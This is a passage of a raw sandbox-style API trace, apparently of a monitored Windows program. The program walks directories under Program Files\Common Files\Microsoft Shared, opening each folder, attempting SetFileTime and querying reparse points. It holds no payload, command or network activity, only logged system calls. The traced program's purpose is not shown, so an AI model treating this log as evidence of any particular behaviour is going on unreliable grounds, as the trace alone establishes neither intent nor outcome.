[0051.047] NtClose (Handle=0x190) returned 0x0 [0051.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.047] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0051.047] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.047] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0051.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ac0 [0051.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96798 [0051.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.047] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.047] GetLastError () returned 0x12 [0051.047] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0051.047] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.047] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.048] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.048] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.048] GetLastError () returned 0x12 [0051.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.048] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0051.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0051.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.048] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0051.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.048] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0051.048] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0051.048] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0051.048] NtClose (Handle=0x184) returned 0x0 [0051.048] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.048] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.049] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0051.049] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.049] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0051.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ae0 [0051.049] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf968a0 [0051.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.049] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.049] GetLastError () returned 0x12 [0051.049] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0051.049] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0051.049] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.049] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.049] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.049] GetLastError () returned 0x12 [0051.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.049] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0051.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.050] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0051.050] GetLastError () returned 0x12 [0051.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0051.050] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0051.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0051.050] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0051.050] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0051.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.050] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0051.155] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0051.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0051.155] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0051.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0051.155] NtClose (Handle=0x18c) returned 0x0 [0051.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0051.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0051.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0051.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0051.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf969a8 [0051.156] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0051.156] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.156] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0051.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0051.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0051.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0051.156] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0051.156] GetLastError () returned 0x12 [0051.156] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0051.156] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0051.156] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.156] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0051.156] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0051.156] GetLastError () returned 0x12 [0051.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf969a8) returned 1 [0051.156] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0051.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0051.156] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0051.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0051.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0051.157] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0051.157] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0051.157] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0051.157] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0051.157] NtClose (Handle=0x190) returned 0x0 [0051.157] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0051.157] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0051.157] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.157] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0051.157] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.157] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, 